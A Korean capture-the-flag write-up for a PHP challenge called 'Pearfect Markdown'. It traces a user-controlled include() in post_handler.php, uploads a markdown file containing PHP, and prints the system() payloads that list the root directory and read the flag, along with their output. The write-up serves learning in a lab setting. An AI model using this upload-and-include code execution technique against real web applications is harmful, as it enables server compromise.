Pearfect Markdown

소스코드
index.php
- 메인 페이지(index.php)에 접속하면, 아래와 같은 기능들을 확인할 수 있습니다.
- (1) 업로드 파일 선택 기능
- (2) 파일 업로드 기능
- (3) 업로드 파일(MD) 예시 미리보기
- (4) 업로드 된 파일 리스트

edit.php
- 페이지 최하단에 있던 “example.md” 파일을 클릭하면 파일의 소스코드를 확인할 수 있고 수정도 가능합니다.
- 업로드 파일 조회 시에는
/edit.php?file={파일명}의 구조로 동작하고 있네요.

- 업로드 파일 조회 시에는
- 아래 코드는 메인페이지(/)로 접근했을 때,
Uploded Files리스트를 보여주도록 하는 코드입니다.uploads/경로에 업로드 된 파일을 리스팅하고, 앵커 태그로 파일 경로와 파일명을 맵핑하는 역할을 합니다.

- 다음으로는
Example Markdown Preview부분을 확인하겠습니다. - 인덱스 페이지에서는 마크다운 예시를 가져와 사용하고 있었는데, 아래가 거기에 해당하는 코드입니다.
/post_handler.php경로로 GET 요청을 보낼 때,file파라미터가 없으면 “example.md” 파일이 사용되고 함께 전달한 파일명이 있으면 그 파일명을 출력하도록 하고 있습니다.
- 그런데 여기서 파일을 가져와서 화면에 띄워줄 때,
include($path)함수를 사용하고 있습니다.- 이 함수는 PHP에서 LFI/RFI를 유발하는 대표적인 함수이기 때문에 확인을 해봐야 합니다.

- 이 함수는 PHP에서 LFI/RFI를 유발하는 대표적인 함수이기 때문에 확인을 해봐야 합니다.
- LFI 취약점 확인을 위해서 테스트용 MD 파일을 업로드 하고 확인해보겠습니다.

- 아래와 같이 조금 전 업로드 한 파일을 반환하도록 요청을 보내면 파일에 저장됐던 PHP 코드가 실행되네요.
/post_handler.php?file=TEST1122.md
disable_functions부분을 살펴보면, 사용 불가하도록 설정된 함수는 없었습니다.- 별도의 우회 과정없이 system() 함수를 이용하면 RCE를 수행할 수 있겠네요.

EXPLOIT
- “TEST1122.md”,
(파일내용) <?php system('ls -alh /') ?>
total 84K
dr-xr-xr-x 1 root root 4.0K Nov 22 05:12 .
dr-xr-xr-x 1 root root 4.0K Nov 22 05:12 ..
drwxr-xr-x 1 root root 4.0K Nov 15 2022 bin
drwxr-xr-x 2 root root 4.0K Sep 3 2022 boot
drwxr-xr-x 5 root root 340 Nov 22 05:12 dev
drwxr-xr-x 1 root root 4.0K Nov 22 05:12 etc
drwxr-xr-x 2 root root 4.0K Sep 3 2022 home
drwxr-xr-x 1 root root 4.0K Nov 15 2022 lib
drwxr-xr-x 2 root root 4.0K Nov 14 2022 lib64
drwxr-xr-x 2 root root 4.0K Nov 14 2022 media
drwxr-xr-x 2 root root 4.0K Nov 14 2022 mnt
drwxr-xr-x 2 root root 4.0K Nov 14 2022 opt
dr-xr-xr-x 112 root root 0 Nov 22 05:12 proc
-rw-r--r-- 1 root root 68 Jan 31 2025 qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag
drwx------ 1 root root 4.0K Nov 15 2022 root
drwxr-xr-x 1 root root 4.0K Jan 31 2025 run
drwxr-xr-x 1 root root 4.0K Nov 15 2022 sbin
drwxr-xr-x 2 root root 4.0K Nov 14 2022 srv
dr-xr-xr-x 11 root root 0 Nov 22 05:25 sys
drwxrwxrwt 1 root root 4.0K Nov 22 05:14 tmp
drwxr-xr-x 1 root root 4.0K Nov 14 2022 usr
drwxr-xr-x 1 root root 4.0K Nov 15 2022 var

- “TEST1122.md”,
(파일내용) <?php system('cat /qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag') ?>- 요로코롬 플래그 확인이 가능합니다.
DH{9a...07}

🐛.. 🐛.. 🐛..